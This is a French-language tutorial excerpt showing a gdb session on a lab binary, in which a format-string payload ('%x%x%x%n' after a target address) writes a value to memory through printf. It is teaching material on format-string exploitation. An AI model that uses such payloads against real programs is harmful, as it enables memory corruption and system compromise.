(gdb) disass main Dump of assembler code for function main: 0x08048464 : push ebp 0x08048465 : mov ebp,esp ... ... ... 0x080484a4 : call 0x804835c 0x080484a9 : mov BYTE PTR [esp+0x40f],0x0 0x080484b1 : lea eax,[esp+0x10] 0x080484b5 : mov DWORD PTR [esp],eax <------------ **Premier breakpoint avant l'appel à printf()** 0x080484b8 : call 0x804838c <------------ **Appel à printf()** 0x080484bd : mov DWORD PTR [esp],0xa <------------ **Deuxième breakpoint juste après l'appel à printf()** ... ... End of assembler dump. (gdb) b*main+81 Breakpoint 1 at 0x80484b5 (gdb) b*main+89 Breakpoint 2 at 0x80484bd (gdb) r $(python -c 'print "\x90\xf8\xff\xbf%x%x%x%n"') Starting program: /root/tests/vuln $(python -c 'print "\x90\xf8\xff\xbf%x%x%x%n"') Breakpoint 1, 0x080484b5 in main () (gdb) x/x 0xbffff890 0xbffff890: 0x00000000 <------------ **Avant l'appel à printf(), notre adresse cible ne contient rien** (gdb) c Continuing. Breakpoint 2, 0x080484bd in main () (gdb) x/x 0xbffff890 0xbffff890: 0x00000011 <------------ **Après l'appel à printf(), notre adresse cible contient 0x11 (j'explique après pourquoi)** (gdb) c Continuing. ▒▒▒▒bffffe823fff0